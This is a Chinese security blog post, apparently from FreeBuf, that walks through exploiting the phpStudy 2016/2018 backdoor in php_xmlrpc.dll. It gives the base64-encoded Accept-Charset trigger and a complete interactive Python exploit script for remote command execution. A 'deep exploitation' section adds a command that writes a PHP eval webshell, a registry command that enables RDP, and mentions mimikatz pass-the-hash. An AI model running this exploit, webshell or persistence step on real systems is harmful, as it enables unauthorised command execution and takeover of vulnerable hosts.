收藏一下~
可以收录到专辑噢~
python实战之exp
phpstudy_2016-2018_RCE(exp)
一.简介
漏洞描述
攻击者可以利用该漏洞执行PHP 命令,也可以称作 phpStudy 后门 。RCE(Remote Command|CodeExecute)Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin等多款软件一次性安装,无需配置即可直接安装使用,一键搭建。 其中2016、2018版本的phpstudy存在被黑客恶意篡改后形成的RCE漏洞。该漏洞可以直接远程执行系统命令。
说明
说明 | 内容 |
---|---|
漏洞编号 | phpstudy_2016-2018_rce |
漏洞名称 | RCE(Remote Command|Code Execute) |
漏洞评级 | 高危 |
影响范围 | phpStudy 2016 phpStudy 2018 |
漏洞描述 | 攻击者可以利用该漏洞执行PHP 命令,也可以称作 phpStudy 后门 。 |
影响版本
后门代码存在于\ext\php_xmlrpc.dll模块中,至少有2个版本: phpStudy2016和phpStudy2018自带的php-5.2.17、php-5.4.45。 其中:
版本 | 文件 |
---|---|
phpStudy2016 | \phpStudy\php\php-5.2.17\ext\php_xmlrpc.dll |
phpStudy2016 | 文件\phpStudy\php\php-5.4.45\ext\php_xmlrpc.dll |
phpStudy2018 | \PHPTutorial\PHP\PHP-5.2.17\ext\php_xmlrpc.dll |
phpStudy2018 | \PHPTutorial\PHP\PHP-5.4.45\ext\php_xmlrpc.dll |
二.漏洞复现
基础环境
组件 | 版本 |
---|---|
OS | Windows 10 x64 |
Web Serve | phpStudy 2016(特别版) |
环境搭建:环境下载链接:https://pan.baidu.com/s/1caKBSPk7Re1Drpt0C5PRIg提取码:j7d7
1.远程访问phpinfo(可使用bp内置浏览器访问,直接抓包)
2.抓包分析
3.漏洞利用(触发条件)
修改如下字段:
Accept-Charset: c3lzdGVtKCdpcGNvbmZpZycpOw==
Accept-Encoding: gzip,deflate
三.编写exp
代码:
# phpstudy-2016-2018-rce.py
'''
GET /phpinfo.php HTTP/1.1
Host: 10.9.46.195
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Charset: c3lzdGVtKCdpcGNvbmZpZycpOw==
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.9
Connection: close
'''
import requests
import base64
import sys
banner = '''
-------------------------------------------------------------------------------------------------------------------------------------------------
_ _ _ ___ ___ __ __ ___ ___ __ ___ _____ _____ ______
| | | | | | |__ \ / _ \/_ | / / |__ \ / _ \/_ | / _ \ | __ \ / ____|| ____|
_ __ | |__ _ __ ___ | |_ _ _ __| | _ _ ) || | | || | / /_ ______ ) || | | || || (_) | | |__) || | | |__
| '_ \ | '_ \ | '_ \ / __|| __|| | | | / _` || | | | / / | | | || || '_ \|______|/ / | | | || | > _ < | _ / | | | __|
| |_) || | | || |_) |\__ \| |_ | |_| || (_| || |_| | / /_ | |_| || || (_) | / /_ | |_| || || (_) | | | \ \ | |____ | |____
| .__/ |_| |_|| .__/ |___/ \__| \__,_| \__,_| \__, | |____| \___/ |_| \___/ |____| \___/ |_| \___/ |_| \_\ \_____||______|
| | | | __/ |
|_| |_| |___/
Auther: lirujie
phpstudy 2016-2018 RCE
Usage: python *.py http://10.9.46.195/phpinfo.php
-------------------------------------------------------------------------------------------------------------------------------------------------
'''
if len(sys.argv) < 2 :
print(banner)
exit()
url = sys.argv[1]
#while True:
#cmd = input("-->")
#if cmd == 'q!':
# break
def attack(cmd):
cmd = f"system('{cmd}');"
cmd = base64.b64encode(cmd.encode())
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
"Accept-Charset" : cmd,
"Accept-Encoding": "gzip,deflate"
}
res = requests.get(url = url, headers = headers)
#print(res.request.headers)
result = res.content.decode("gb2312")
result = result[0:result.find("<!DOCTYPE html")]
#print(res.text)
#print (result)
return result
while True:
cmd = input("--> ")
result = attack(cmd)
print(result)
if cmd == 'q!' :
break
输出:
深度利用
上传一句话木马:
echo <?php eval($ POST[cmd]);?>” > C:phpStudy www shell.php
启动RDP(3389)
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
由于普通用户权限无法创建用户(留后门),可利用mimikatz工具进行哈希传递,迁移进,使用powershell等方法进行提权,在这里不再演示
使用已有用户远程连接
连接出错,根据提示,加密算法不匹配
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录